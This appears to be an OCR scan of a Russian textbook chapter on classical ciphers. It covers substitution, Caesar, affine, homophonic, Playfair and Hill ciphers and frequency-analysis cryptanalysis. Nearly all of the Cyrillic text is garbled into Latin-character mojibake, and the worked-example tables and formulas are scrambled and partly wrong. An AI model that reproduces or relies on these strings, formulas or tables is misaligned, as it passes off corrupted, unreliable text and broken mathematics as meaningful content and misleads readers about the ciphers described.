B KOTOPBIX anropurMsl ommbposanns E 1 pacmmdposarus D xomxk-
HBI YJIOBJICTBOPSATH PABCHCTBY

ka( E, (M))=M, rne ky u k, — xmoun muppoparns u
pacmudpoBaHus, COOTBETCTBECHHO.

Pasnmuator cummempuyHvlie W ACUMMEMPUYHbIE KPHIITOCH-
crembl. B cummempuynbix crcreMax 3HaHUC Ko4ua mudposanus Ky
FIO2BOJLIET JICTKO HalTH Kmo4 pacmuposanus k, (B GompmuucTee
CIIy4aes 3T KIIOYH IPOCTO COBMAjaoT). B acurmvempuunvix xpun-
TOCHCTEMax 3HaHHWE KmodJa k, He mossomser onpeaenuts ximod k.
TlosTomy nns cummempuunolx KpUOTOCHCTEM 004 KIIOYA JOIDKHBI
COXPAHATHLCA B CCKPETE, A AN ACUMMEMPUYHBIX — TONBKO OHH —
Knod pacumpposarus k,, a xmod k; MOXHO CAENATH OTKPHITHIM
(obmexocTymHEIM). B CBA3M € 3THM HMX HA3hIBAKOT €Ime wudpami ¢
OMKPBLIMbLM KNIOHOM.

Cummempuynsie KPAITOCHCTEMB! IPHHATO MOAPAACIATH HA
nomouHsie B 6r04Hbe CHCTEMBI. [IoMOUHbIe CHCTEMBI OCYIMECTRIIA-
0T MU(pPOBAHHE OTACHALHBIX CHMEBOJIOB OTKDHITOrO COOOEHH.
Ebrovunele xe cucremsi npoussonst mupposanue GIOKOB PHKCHPO-
BaHHOH JJIMHBI, COCTABICHHBIX M3 HOAPSA MAYLIIMX CHMBOIOB CO0O-
meHuA. Acummemputnbie KPUIITOCACTEMBI, KK TPABHIIO, SBIIAICTCH
GrounvIMU.

Cobpemennan cucrema kiaaccudurxanuy mHppos

B KauecTse IEPBHYHOrO MPU3HAKA, 110 KOTOPOMY IIPOH3BORUT-
cs wiaccHbukaups mWHPOB, HCIONB3yercs THN mpeodpasoBaHwus,
OCYINECTBIAEMOIO ¢ OTKPHITHIM TEKCTOM npH ummdposanuu. Ecmm
(bparMeHTHl OTKPBITOrO TEKCTA (OTACHbHBIC OYKBH HIIM TIPYIIIhS
6yKB) 3aMEHSIOTCS HEKOTOPRIMH HX SKBHBAJICHTAMH B INH(POTEKCTE,
TO COOTBETCTBYIOMMH MH(DP OTHOCHTCH K KNACCY WUPDPOB 3AMeHb!.
Ecnu ¢parMenTsl OTKPHITOrO TEKCTA NPH MU(POBAHMH JIMIIb MEHS-
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I0TCH MECTam# JAPYT C APYTOM, TO 3TOT IIUQP OTHOCHTCA K KJIACCY
wugypos nepecmarioexu. C 1EnbIO NOBHIMIEHNUSA HAACKHOCTH mHppO-
saHus mudPOBAHHEIH TCKCT, HOMYYCHHBIH TPUMEHEHHEM HEKOTOPO-
ro mudpa, Moxer OuITh eie pa3 3amupoBaH ¢ MOMOIIBIO APYroro
wudpa. Takue xoMmosmmua pazmuHeIx mMHQPOB OOBCAMHAIOT B
rpeTHii Knace mudpos, KOTOPbie OOBIYHO HA3BIBAIOT KOMHOZUYUOH-
HolMYU WUGpamu.

IHudpoi 3amenst

Knaccnducauns windpos 3ameHsL.

Kak yxe roBopuiocs, €Ciy KInod mWA(pOBAHHS COBNANACT C
KNOYOM paciM(poBaHMs WM cueayer u3 Hero: kg, = k, wm
ku=>kp, TO Takue muQphl HABKIBAIOT CUMMEMPUYHLIMUL, CCIH KE
k7 Ky — Geusmempusnvlmi — 370 NCPBbiH NpH3HaK KiIaccHbu-
KAUHE — 110 KA109y mudpoBaHms.

Ipr ucoons3oBamuu MHEGPOB 3aMEHB! CTAHOBHTCS BO3MOX-
LM HCTIONB30BaHHE MHOro3uHauHoH ¢yuxuma Ex(x). Bribop 3naue-
nuif MHOro3kaurHo# GyHkurM npeacrasuseT coOOH HEKOTOPYIO Hpo-
biacMy, ACNAIONIYIO HX HE CIIUIIKOM YAOOHBIMH JUIS HCTIONbL30BAHHA.
Oano3Haunsie QyHkimE Gonee MPOCTH Kak ANA KCTIONBOBAHUA, TAK
n I B3IOMa.

CaenoBarepo, o THIOY QyHKUuH mudposanss, nmdps 3a-
MCHBI MOXXHO PAa3NCIMTh HA OOHOZHAYHbIE W MHO203HAYHbBIE 3AMEHBI
(oMOGhoHbI).

B oonosnaunbix madpax 3aMeHbl KKARH (ParMEHT OTKPHI-
1010 TEKCTa MOXET ObiTh IPEeRCTaBicH B 3a1ma¢pOBaHHOM BHIAC OX-
1HM ITHPPOTEKCTOM, ONPEACHAEMEIM, B OOmEM Ciydae, M3 COAEp-
KUMOTO (pparMenTa, €ro NONOKEHHA B TEKCTE M KIIIOYA.

B mnozosnaunere mugpax cymecrsyer xors 6bi onmp ¢par-
MCHT OTIPBITOrO TEKCTAa, KOTOPBIH MOXET OBITH Ipe/CTaBicH Oonce
weM oxauM mrdporexkcrom. Ipu 3Tom Taroke yumrsiBaetcs coaep-
waHue (HParMeHTa, ero MoIoKeHHe ¥ KIo4.

OxnxpM M3 BOKHBIX NapaMeTPOB IH(PPOBAHUS ABISETCH Aia-
anum Wupposanus.

Ilo mownocmu angpasuma ymadpsr 3ameHbl AensTCS HA HO-
nounble ¥ 6104Hble ITHQPPEL
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Ecnu ucxomusiii Tekcr nepex mubpoBaHneM pa3OHBaeTCs Ha
6I0KH, COCTOIIME U3 HECKONBKHMX 3HAKOB, ¥ muppyercs no bnoxam,
TO Takol mHGp HaswBacrcs Gnounbim. Ecim xaxapiii 3Hak coobme-
HEs mupyeTcs OTACIBHO, TO AP HA3LIBACTCA HOMOUHbIM.

ITo xonuvecmey wcnonbayemsix andasuros mMubps JEIATCA
Ha OOHoanpasumuble U MHO20anPasumnble.

Eme oamn mapamerp xiaccuuxaime mudpos 3aMeHB —
snaynocme andasura. HIudpn HasuBaOTCS PAGHOZHAUHLIMU, ECITA
BCe 3HakH andaBuTa mMUPPYIOTCA OAMHAKOBLIM KOJNHYCCTBOM 3HA-
k0B. Pasnosnaunvimu -— ecim 3Haky andasuTa MAQGPYIOTCS Pa3HBIM
KOJIMYECTBOM 3HAKOB.

Paccmorpum noapoOHee OCHOBHEIC BApHAHTH MHMPOB 3aMe-

1. HoTounsie mua@pnl npocroii 3aMennt

HauGonmemee pacnpocrpaHeHue NONYYHIH NOTOYHbE mudps:
TPOCTOH 3aMEHBI, B KOTOPBIX and)aBUThl OTKPHITOro TEKCTa M Imug-
porexcra cosmazaior. Kimodom takoro mmdpa ssasercs Taboumna k,
BEPXHSS CTPOKA KOTOPOH MNMpeACTaBNsAeT coOOH ©CTECTBEHHYIO IO-
CIEROBATENLHOCTs OykB andaByTa, a8 HIDKHSA — CHCTEMATUMECKH
HEPEMEINAHHYIO HIH CIYHaiiHyIO OCICAOBATENLHOCTh OYKB U3 3T0-
r0 e aypaBHTA.

ITomMuiMO TaKoro ABHOTO 3aiaHHUA (B BHAE ABYCTPOYHOH 3amH-
CH) KJTI0¥ MOXET OhiTh 33JaH HEKOTOPO Qopmynoi. [ing 3toro Oyk-
Bl andasura yAOOHO 3aMEHSTh UX TIOPAAKOBHIMH HOMEPAMH, Tak,
Hanpumep, s nataHckoro angasyraa=0,b=1, ... z=25,

Taxum obpaszom, umbp Ilesaps Moxer OBITb TPEACTaBICH
caeayromeii Gpopmy1oi:

y=E(x)=(x+k,..x,+k).

B ynoMAHYTEIX B MCTOPUYCCKOM 3KCKypce 3ammckax Fas Cse-
ToHHA k GbLIO paBHO 3.

Jins pacmugposanus ucrons3yercs crueayomas gopmyna:

x=D(y)=(y+(26-k)..y +(26-k}).

T'ae 26 — xomuuecTso GykB B HCIIONB3yeMoM andaBHTe.
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Addunnblii mudp BHINILAAT HECKOIBKO CIOXKHEE:
y=E,(x)=(@ x+pf....0-x,+ B);

x=Dy(y)=((y+(26=8)) o (y, +(26-B))-a™").

IIpamep.

3amdpyem cnoso CRYPTOGRAPHY ¢ nomompo addun-
Horo mm(pa, monaras k = (3,5). Jlauuniii K104 ONPEACHIET Clie-
AYIOINYIO MOACTAHOBKY:

01 1 2 3 4 5 6 7 8 9 1101112
50 8 {11 {14]17]204§123: 0 3 6 9 |12 15

131 14 { 15 116 1 17 | 18 | 19 1 20121 | 22 | 23 | 24 | 25

18] 21 | 24 | 1 4 7 110113116419 22]25] 2

Ecau pgexonupoBaTh THCIa B OYKBEI MOXyUHM:

A|IB|CI|ID|E|FiGiHII 3 K|ILIM
F IJLIOJR|JU|X|{A|DI'G J IM| P
N{O{P|IQIRIS I TJ|UIV|IWIX|Y]Z
SIVI]IY|B|EIHIK|N[Q| T {WIZ]|C

Cnosy CRYPTOGRAPHY coOTBETCTBYET HHCIOBafA MoCie-
AoBarenpHOCTS X = (2,17,24,15,19,14,9,17,0,15,7,24).

Samudposars OTKPHTHIH TEKCT MOXKHO ABYMS criocobamu.

Bo-miepBHIX, MOXHO BOCHONB30BAThCS MOIMYYEHHOH IOACTA-
MOBKOM, 3aMeHss KaxIylo OykBy ciosa (HalliIcHHYI0 B BepXHEH
cTpoke) ec obpaszom B Hipkueil crpoke: LEZYKVXEFYAZ.

Bo-BTOpHIX — BLIYUCIUTH 3HavYeHHe QyHKumH mudpoBaHUs
Ei(X), vCX0as U3 €€ ONpeACICHUS

Y=E(x)=(32+5,317+5,324 +5,3-15 + 5, 3-19 +5,3-14
+ 539 45317+ 5, 30 + 53-15+ 537 + 5324 + 5) =
(11,4,25,24,10,21,23,4,5,24,0,25).

B OyxBCHHOM 3KBHBAJICHTE Y COBNAMACT C MOMYYCHHBIM pa-
ree muGpoBaAHHBIM TEKCTOM.

Iro Grutn pHMEPH IU(PPOB PABHOZHAYHOMN 3aMEHEL.
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PaccMoTpum mmpp pasHO3HAYHOM 3aMEHE.

I N C T A 8] S

0 1 86 3 5 94 6

B D E F G H J

80 | 83 2 89 91 95 98
K L M 0 P Q R
81 84 | 87 4 92 | 96 7

v w X Y Z . /
82 | 85 88 90 | 93 97 99

Hymepauus 6yxs andasnra npousseaena no cronbuam (cep-
Xy BHH3), IDH 3TOM BOCEMb caMuIXx 4acTeix O6yks (A,E,ILN,O,R,S,T)
3axymepoBaHsl qucnaMu or 0 70 7, a OCTAIBHBIE — ABY3HAYHEIM#
qucnamu ot 80 m0 99. Takyro Tabauuy nerxo 3amomuuts. Paborars
xe YAOOHEE ¢ DKBUBAJICHTHOHN Tabmumeii:

0

o0
o

7
R
M

QR Z|—
ol <
N|O|H|w
co e
T8> |

1
8! B
91Y

felle} 7 ][
CIFAE
o]

Tpu muppoBaHHHE OTKPBITHIH TEKCT 3aHMCHIBAETCA CO 3HAKOM
npobena Mexay croBamu. Touka, BCTPETHBIIAACSH B TEKCTE, CUHTACT-
¢ oraensasM cinosoM. [locne aroro npoussoauTcs 3amena mHdpo-
BEIMYMH HAa IMMPPOOOO3HAYEHHA COrNACHO TAOIMUE, NPH ITOM
H(pPOBLIE JAHHBIE HE H3MEHSIOTCA.

INonwitarecs  3ammdposats ©u  pacumudposaTs  ClOBO
CRYPTOGRAPHY MOXHO CaMOCTOSTENBHO.

KpuntoaHaiu3 noTouHoro mugpa npocroii 3amenbi.

Caagana paccMOTPHM mpocTeHmmmii ciydaii — oaHOOyKkBeH-
HOi1 3aMEHbL.

JhoGoii Merox Bekphris mundpa MPocToii oAHOOYKBEHHOM 3a-
MEHB OCHOBAH HA TOM OOCTOSTENBLCTBE, YTO C TOYHOCTHIO JO NEpe-
0003HaYCHMI YACTOTHBIC XAPAKTEPHCTHKY LIH(PPOTEKCTA M OTKPHITO-
ro TeKCTa oAuHaKoBhl. IIpH 3TOM HCHOMB3YIOTCH anpHOpHBIE YacTOT-
HBI€ XaPAKTCPUCTHKM MPEANONAracMOro OTKPHITOrO TEKCTa, MOINY-
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YaEMBIE C YYETOM «XapaKTepa NMEPEnHCKH». TaKkHe XapaKTePUCTHKH
ABILAtOTCA Gonee «penbeHBIME» AIA THTEPATYPHHIX TEKCTOB M Me-
Hee «pesibebHBIME» 1A (OPMATHIOBAHHBIX INCKTPOHHEIX TEKCTOB.
Yem MeHee penbedHO pacmpeesieHHe 3HAKOB TEKCTa, TEM CHOXKHES
3ajada BCKPHITHY mudpa npocTod 3aMeHsl. JJist OTKPHITEIX TEKCTOB
¢ «IIOYTH PaBHOMEPHBIM» PACIPEACICHHUEM 3HAKOB 3TAa 33Ja4Ya CTa-
HOBHTCS TPAKTHIECKH HE pemaeMoi. 10 CleAyeT YyYHMTHIBATh M HE
MATaTh HATIO3UH O MPOCTOTEC BCKPHITHA wH(pa IpocToil 3aMEHBI.
MeTonsl «PaHAOMH3AIME» HIH «CKATHS» OTKPHTHIX TEKCTOB, Ha-
fpAMEp, C HCMONB30BAHHACM KOMITBIOTSPHBIX APXHUBATOPOB 3HAYH-
TCIBRHO YCIOXKHSIOT 33439y BCKPHITHs 1WH(pa MPOCTOMH 3aMEHEI.

PenpeduocTs AuarpaMmbl TEXCTa TECHO CBA3aHA C TAKOH €ro
BKHOH TEOPETHUKO-HH(POPMALMOHHOM XapaKTEPUCTHKOM, KaK H30bI-
TOYHOCTh. MBI PACCMOTPHM PEINCHHE 33439K BCKPbITUs mubpa npo-
CTOM 3aMCHBI JIHINb NPH YCJIOBHH, YTO IPEATIONATACMEIE OTKPBHITHIE
TCKCTBL — 3TO JIMTEPATYPHBIE TEKCTH C IIPHIHYHOM» H30HTOUHO-
crer0. Kpome Toro, Mel OyeM CUHTATh, 9TO IPH ACHHPPOBAHNH MBI
pacronaraeM XOCTATOYHO OGONBINMM YHCIOM 3HAKOB IH(poTeKcTa,
4TOOBI OLIMPATLCS HE HA «(POKYCHI», HCHONB30BAHKBIC, HAUPHMED, B
u3BECTHRIX mpou3seacHmAX Jarapa [lo u Aprypa Konan [oiina, a B
GonbIIeH CTENCHM HA «CTATHCTHKY>.

OOBIYHO BRIACHAIOT CHEAYIOIGHE STAambl ANTOPHTMA KPHIITOA-
nam3a:

1. Tloacuer wacror BeTpedaeMocTH wmudpoodo3HATCHUM, 2
T2I0Ke HEKOTOPHIX MX COUYCTaHWM, HanpuMep OHrpamMm ¥ Tpurpamm
NoApsA MAYIIHX 3HAKOB H CPABHEHHE C COOTBETCTBYIOIIMMHM Xapak-
TCPUCTHKAMH OTKPHITOrO TEKCTA.

2. Brissnenne mmdpoobo3HaucHHii, 3aMCHSIOIMUX TNACHBIE U
COTNIACHBIC OYKBHI.

3. BoLABIOKEHHE I'UNOTE3 O 3HAUCHIIX MK(POOOO3HAYCHMI U
HX HPOBEPKA.

4. BoccTaHOB/ICHHE MCTHMHHOrO 3HadeHwd migpoodbosxavc-
1317 8

Ecnu pyupa TeKCTa AOCTATOUHO BEIHKA, TO HAHICHHHIE Ha
y1ane 1 9acToTel OKaXyTCH O/M3KMMM K ANPHOPHBLIM 3HAYECHHAM
"1aCTOT 3HAKOB (COOTBETCTBECHHO — OHrpamm M Tpurpamm). Ilpo-
BCACHHAS HA 3TOM 3Tare pabora CIyKHUT OCHOBAHHEM IS BELABHKE-

111



HUS THIIOTE3 O TOM, KaKHe GYKBBI COOTBETCTBYIOT JaHHHIM mmbpo-
oboznagcHmaM. [Ipu aToM yumrThiBaeTcs, uyro Kaxzas Oykea mmeer
rPYIIY MPEANOYTHTENBHEIX CBA3CH, KOTOPHIE COCTaBIIIOT €¢ Haubo-
Jnee XapakTepHyio ocoOeHHOCTh. Kak npaBmio, TakHe ramnoTe3s mox-
TBEPIKAAIOTCH HE IOJHOCTHIO. XOPOIMHM KPHTEPHEM IIPH 3TOM SBJIA-
€TCS «4UTACMOCTh» BOCCTAHABIMBAEMOT'O OTKPBITOTO TEKCTA.

Brigenenne mudpoobo3sateHuii, OTBEHAIONMMX TINACHEIM ¥
COIJIACHEIM, OCHOBAHO Ha XapaKTEPHBIX CBOHCTBaxX 31THX Oyxs. Ecnn
mm(poobO3HAYSHHE JACTO BCTPEYACTCA, PABHOMEPHO pacrionaraer-
¢ o muUpPOTEKCTY, B OTACHBHBIX MECTax wdepeayerca depes 1, 2
Wi 3 3HaKA, COYETACTCH CO CPEAHMMH H PEAKHMH (IO 4acTOTE)
i dpooSGo3HATESHUAMH, TO ITO AACT OCHOBAHMSA MONATaTh, YTO TAKOS
madpooGO3HAYCHHUE CKPHIBAET INIACHYIO OYKBY. YV ABOCHHCE [JIACHBIX
B OTKPBITOM TEKCTE TIPOHCXOAHUT pexe, deM cornacHuix. Ecnu Heko-
Topoe mu(poobo3HaAUCHNE IPH3HAHO TJIACHOM, TO OyKBa, YacTo CO-
qeTarmascsa ¢ Hell, ckopee Bcero cornacHas. B oTkpeiTom Tekcre
YpE3BLMANHO PEIKO BCTPEdalorcs TpM M Oonee MOApsx Maymue
raacHeie. Yetnipe u Goliee NOAPSA HAYIHC COTTACHBIC TAIOKE PEIKH.
BaxHO yIUTHBATE TAIOKE HPOLICHTHOES COOTHOMEHME YHCEN TIACHbBIX
U COTJIACHBIX B OTKPBITOM TEKCTE.

Tlpu nposepke rumores o 3HaveHUAX Mudpoobo3HaueHMH Mo-
7€3CH MOHMCK B mMU(POTEKCTE CIOB C XapaKTepPHOH CTPYKTYpOi, KO-
TOPHIC YACTO BCTPEUAIOTCA B OTKPHITOM TeKCTe. Jis pycckoro s3eixa
— 370, HANPUMEP CIOBA: CKONBKO, KOMOpoe, ¥mo | T. n. Jis anr-
JIFHCKOTO S3BIKA — CHOBa every, that, lock, the 1 1. n. Takuc cnosa
BBIACIAIOTCH B MHQPOTEKCTE MOCPSACTBOM HHTEPBAIOB MEXKAY IO-
BTOPSIOIUMHCH HacTBIMK OyKBaMH, XapaKTEPHBIMH COYCTAHHIMH
IJIACHBIX M COTJIACHBIX.

Eciu ¢ mOMOIBIO IPHBEACHHBIX COOOPWKEHUN MPOM3BEACHO
HECKONIBKO maeHTHOUKanuel mmdpoobo3nateHuil, T0 AambHEHmAs
paboTa 1O BCKPHITHIO TEKCTa KPHITTOrPaMMBl HE TPEACTABIIACT OCO-
Ooro TpyAa.

3anaqa aenmadposanus eme Gonee ynpomaercs, eCiid H3BeCT-
HO, YTO MCHONK30BANCA CABUroBslid ume adobummaeit mudp. Tak, s
abdunnoro mudpa mocTarcuHo MACHTHOHLMPOBATH ML Hapy
mupoobo3HaYeHHH ¢ TEM, YTOOB! MOMHOCTBIO BOCCTAHOBHTH OF-
KPBITHIH TEKCT.
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PacemorpuM 0COGCHHOCTH BCKPHITHS PABHO3HATHBIX H PasHo-
MAYHBIX mEpPOB IPOCTOH 3aMEHBI.

Fcnu mmdp npocToi 3aMeHbl HE SABISETCH OAHOOYKBCHHBIM,
10 IPH BCKPHITHH KPHIITOTPaMMBbl HEOOXO0MMO NOMBITATECA BOCCTA-
IIOBMTH MHOXKECTBO mmdpopenymauy. Ecim 3ta 3ajada peHicHa, TO
MupHEHImAas paboTa HHYEM HE OTIHYACTCA OT TOH, KOTOPYIO MEI
npoaenanu i wudpa oqHOOYKBECHHOH IPOCTON 3aMCHBI.

Crepyer yuuTsIBaTh, 4TO B JAUTEPATYPHBIX OTKPBITHIX TEKCTAX
'WCTO BCTPEUAIOTCS ITOBTOPEHMs (parMeHTOB, COCTOSIIMX U3 TPEX H
oonpmero wucia Oyks. Ipu npumMenervn K TekeTy mudpa npocroid
WMEHB! COOTBETCTBYIOMME TIOBTOPEHHS OCTAIOTCA M B mmdposan-
noM Tekcre. Eciu B KPHIITOrpaMMe BCTPETHIIOCh HECKONBKO IIOBTO-
JCHMI{, TO WX YCHENHO MOXHO HCIONB30BATH JUIA ONPEHCICHHSA
maanocTH 1mHdpoobo3HAUEHUHA.

OueBy/HO, YTO /i PABHO3HAYHOTO MH(pPa MPOCTOH 3AMEHBI
AIWHBI IOBTOPCHHMI H PACCTOAHHA MEXKAy HHMH JIODKHBL OBITh Kpart-
i 3sagsocTH mudpa. Haxoxs HanGomsmmit obmuyil Aenurenb 3THX
WNCel, MBI ¢ OONBLINONW BEPOATHOCTHIO MONYHAEM HMCKOMYIO 3HAY-
nocth. HekoTopsie COMHEHHS B TPABHIBHOCTH OMPCACHACHHS 3HA4-
WOCTH TIOMOTaeT YCTPaHHTE MOACHET obmero uucna mugpoobosna-
wenmit. Ecam 910 9meno 6mu3ko K okmaaeMoMy uucny nmdpoobo-
wmaueHH#A (cxaxeMm, k yucty Oyks andasura), ¥ AuarpamMma ux no-
wiopsieMocTs Gnu3ka K TabmuuHOM, TO, CKOpEe BCEro, 3HAYHOCTh
mudpa OmpeAEIICHA BEPHO.

Hns pasHosHauHoro umgpa Jeno oOCTOMT HECKOIBKO CIOXK-
wee. B aTOM Cllydae 4Mcna, paBHEIC JAIHMHAM HOBTOPEHMI U PAacCTOs-
MM MEXIy HMMH, CKOPEE BCETO, B3aHMHO MPOCTH B COBOKYIIHO-
vit. OmHaxo » juig Takux wHPOB 334394 ONMPEACACHUS MHOXKECTBA
wnpooGo3uadennii He 6e3HanexKHA. B 3TOM NOMOracT eCTECTBCH-
HOC OTPAHHYEHHE, KOTOPHIM OORYHO NOMb3YIOTCS NPH COCTABIICHAH
Gl mudpoobosnadeHuit. OHO CBs3aHO C TpeGOBAHMEM OXHO-
WAYHOCTH pacmB(POBaHKA H 3AKIIOYACTCA B TOM, YTOOH HH OHO
w1 mudpoobosHadeHuii HE JBIUIOCH HAYAIOM HHKAKOrO HPYyroro
nppooGosHadenus (B TCOPHH KOAMPOBAHMSA 3TO HA3BIBACTCSH KIpe-
(mikcHBIM xonom). Ecu sHagnocts mupoobosnaneHuit xonednercs
W IIC3HAYMTENBHBIX TIPEAENax, TO HepeOGop CPaBHHTENLHO HebOoMbIIO-
10 YHCIIA BAPHUAHTOB IPHBOJMT (€ YY4STOM OrpPAHMHEHHS) K NPABHIIb-
oMy ompeaenenmio GonpmHHCTBA muppoobosnayuenwmii. Hexoropsie
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3aTPYAHCHHA MOTYT BO3HHKATH JIHIIL MPH ONPEACICHUM 3HATHOCTH
mudpoobo3HaATCHMH, PSAKO BCTPEYAIOMMUXCA B TeKcTe. Kak mpasu-
7O, OHH ONpPEACNIAIOTCA MpPH MONBITKE IMPOYTCHHA TEX YIaCTKOB
KPHITOrPaMMBl, U KOTOPHIX BOCCTAHOBJICHHAS 3HAYHOCTD HIM(PO-
0603HAUCHHIA HE BHI3HIBAET COMHEHMIA. '
VBenmuenne 3HauHOCTH muppoobo3Hadenuii gemaer mmadp
HEIKOHOMHEIM, TO3TOMY HOXYIHIM PacHpocTpancHue mmdpsl, HC
NONB3YIOMHE OZHO- M ABYy3Ha4Hbic MMppoobo3HaTCHUS, MOXOOHBIC
paccMOTPEHHOMY Bhime B ipumepe mudpy. [oraro, uto aus Taxmx
mu(ppoB HAUOOIBIYIO OBTOPIEMOCTh B IM(PPOTEKCTE HMEIOT 1pad)-
PH, C KOTOPHIX HAYMHAIOTCA ABY3HauHbic muppoodosnagcHns. Bal-
JABHWrasi HIIOTE3W O Taxux nudpax u ormeuas B mudporexcre coor-
BETCTBYIOIIHE ABY3HA4HbC MMppPooOO3ZHAUCHHS, MOXKHO BOCCTAHO-
BHTH H ORHO3HA4YHbIC MU(PoOOO3HAYECHMS, OKA3ABIINECA B IHPPO-
TCKCTE MEXJy HCKOTOPHIMH JBY3HAYHBIMHU MmU(ppooOO3HAICHHIMHA.
Janpucimmast pabora MO BCKPHITHIO OTKPHITOrO TEKCTAa MUl Pa3HO-
3HaYHOTO mudpa HMMEM HE OTIHMYACTCA OT YXKE PaCCMOTPEHHOrO
aNropHTMa BCKpHITHA IH(pa 0AHOOYKBCHHOM NMPOCTOH 3aMEHbI.

2. baiounsie mHGPLI IPOCTO# 3aMeHbI.

Kax Mu1 y6eaunmuch, 3a1a4a BCKPHITHA NPOCTOH OAHOOYKBEH-
HOM 3aMEHHl sBICTCH HE CIMImMKOM ciaoxuoi. OcHOBHaA cnabocr
TAaKoro mudpa COCTOUT B TOM, 9TO HOBITOGHOCTH OTKPHITOrO TEK
€14, TOJHOCTBIO NPOHUKAOAN B mu(POTEKCT, AciaeT (33 CUeT Ma
AOTC HHClia T pOBSTITHHE, KOTOPsIMM fBimioTcs Syxsur andasura)
oueHb penbedHO AuarpaMMy IMOBTOPSEMOCTH 3HAKOB KPHIITOTPaM
MBI. JTO NOOYMI0 B CBOE BpeMs KpHIITOrpados K YCTPAHCHHIO 3TOj
caboCTH 3a CUCT YBENHHUEHHA yacna mupposendauH. MaTywmeno
MIOHATHO, YTO 4YcM OONbIe PA3HHLA MEXY HHCIOM mudposemadm
# ukciom Oyke andasuta, TeM Golee paBHOMEPHOH JODKHA CTATI
AMarpaMMa noBTOPAECMOCTH 3HakoB muporekcra. IlepBrM ectecy
BEHHBIM IIArOM B 3TOM HAMPABICHHM CTAIO YBEAHYCHHE 3HAYHOCIT!
1 POBENHUYHH, TO €CTh HCTIONB30BAHME OIOYHEIX IMI(POB HPOCTOI!
33aMCHEI.

Ipocreiimmii 6nounbiit mudp onepupyer ¢ OHrpaMMHBIMK
um¢posemanaamy. Oanwvu 13 nepBrX TakHX mHpos Obia O6n
rpammuriec mm@pst opra u Iineiidepa. Paccmorpum mudp Iineii
¢epa, Hame M MEPOKoc NpUMeHeHHe B Hagane XX Bexa.
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OcuoBoii mudpa netidepa ssasercs npamoyronsHas Tabmu-
1, B KOTOPYIO 3amucaH nepeMemanxeii andasur. [Ipasuno mudpo-
BaHHS COCTOHUT B CIACAYIOMEM .

byxsut Gurpammst (i, j), { # j OTKPHITOrO TEKCTA HAXOASTCA B
Aarsod Tabmane. [Tpu mudposanuu Gurpamma (ij) 3amersercs 6u-
rpammoii (k,0), rae k u | onpeaensaioTcs B COOTBETCTBUM C ITPABHIIAMH
1-3 (cneBa anropHTMIYECKOE ONHMCAHUE, HA PUCYHKE ClIpasa — rpa-
¢ugeckoe npeACTaBlIeHHUE):

1. Ecnu i u j He nexar Beyuae 1:
B OMHOM CTPOKE HIIH OFHOM
cronfue, TO HX NHOIMIHA
00pa3yloT TPOTHBOIOIOK-
1BI€ BEPIIUHDBI IPIMOYIOJb-
naxa. Toraa k u | — ppyras  Pov=®
napa BEepUIMH, MpHYEM k —
NCPIIMHA, JIeKamasd B TOH
KC CTPOKE, YTO M i.

2. Ecnu i m j nexar B Bexyuae 3:
0HOH CcTpOoKe, TO k u | — ]

i ¥ _ i
OYKBBEI TOH K€ CTPOKH, pac l & | i

TS
T

LeTal. 1s14] AEFIEERN
- —> —>

HOJIOXKEHHBIC  HETIOCPEACT-
NCHHO CIIPaBa OT { K j COOT-
ncrerBenso. [lpu stom ecm 7]
onHa 13 OyKB ~— DmOCHe s B Prc. 15. Tpasria nmdpa ITnefidepa.
CTPOKE, TO CUHMTACTCH, YTO €€
«1IPaBBIM COCEROM» SBIACTCS Neppast OyKBa TOM HKe CIPOKH.

3. AHaIOrv4HO, €CnY { M j JIEXKAT B OKHOM CTONONE, TO OHH
KIMCHAFOTCS MX «COCEIAMM CHH3Y».

Ilpn mudposanmy OTKPHITHIA TEKCT NPEACTABIACTCH B BHJIC
NnocIeAOBaTENMHLHOCTH GHrpamMM. ECIM TEKCT MMeeT HEYETHYIO MRy
WK COAEPKMT OHrpamMMy, COCTOSINYIO M3 OJMHAKOBBIX OYXB, TO B
nero 10GaBIIMIOTCS «ITyCTHIIKH» CHEAYIOMHM oOpazoM. «lycrenn-
KOI» ABAETCA HEKOTOPAs PEAKas JIA JAHHOrO THIA TEKCTa Oykpa
(WM 3HAK), KOTOpas BCTABIAECTCA MEXAY OAMHAKOBHIMH Oyksamu
(mrpaMMBI MIH J00aBIAETCA B TEXCT MU TOro, 4rodst €ro giMHa
crana gerHoH. Takue M3MEHEHHS OTKPBITOrO TEKCTA, KAK MPABHIO,
¢ MEIAIOT NpH pacimr(ppoBaHHy.
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Paccmorpum npumep.

Iycts mupp #enons3yer NPSMOYrONBHUK pa3MepoM 5 X 6, B
KOTOPHIM 3amyCaH CHCTCMATHYECKH NEpeMemaHHuiit pycckuit 30-
OykBeHHKIH andaBHT HA OCHOBE KIHOYEBOrO CII0OBA KOMAHOUD:

HiiXi|s (®
e le s o
B in oz
PR-R-R A
CRER R R
»|E (S o=

Samudpyem dpasy «aemopom memooa sersemcs Yumcnmons.
B xauectBe «IIyCTHIIKH» GyAeM MCIONb30BATH PEAKYIO OYKBY «gh».
Tpeacrasum ¢pasy B BUAE NOCICAOBATENPHOCTH Ourpamm:

AB TO PO M® ME TO 1A 5B JIAET TS YU TC TO HO

(«ITycTIKy» PHIIIOCH BCTABHTD ABAXKIHL. )

B coorBercTBHH €O CPOpMyNHPOBAHHBIMU NPABHIAMH IIOJY-
gaeMm mmdporexcr:

BIT 371 3P OX 216 31 KH 3E ThI TII TIO IIPK XXT 3/1 04

nmu 6e3 npobenos

BIT3A3POXA03AKHIETH TINTIOMDIOKT3A0Y

Kpurroananus mudpa IInetibepa omupaercs Ha 4acTOTHEIH
aHanM3 OUrpamMMm, TPUIpaMM M YeTHIPEXrpaMM muQPOTEKCTa B 0CO-
GenHoCTH 3aMeHbl mudposenyyHH Ha mMUQPOOOO3HAYCHHUA, CBA3AH-
HBIE C PACIIONOKEHUEM allhaBHTA B IPAMOYT O/ILHHKE.

[In¢posenraunamMu Ui JPYroro HIHPOKO H3BeCTHOro 6mou-
Horo mmdpa — mudppa Xwwia (HassarHoro no mMenm Jlecropa
Xwuia) —— SBISIOTCH N-TPAMMBI OTKPBITOrO TeKcTa (1>2), BpeacTas-
JCHHOTO HEKOTOPHIM YHCIOBBIM KOXOM (Tak 410 anpaBHTOM OTKpPHI-
TOrO TEKCTA CIIYXKHT KOJIBHO BEIUETOB 11O MOAYJI0O MOIHOCTH ajpa-
Bura Zy,).

Tlpasuno mmdpoeanus npeacrasnsger coboii mHeiHOE TIpe-
obpasopanue xomena Z,: ecnm X =(Xz,...,X,) — N-TPAMMa OTKPHITCTC
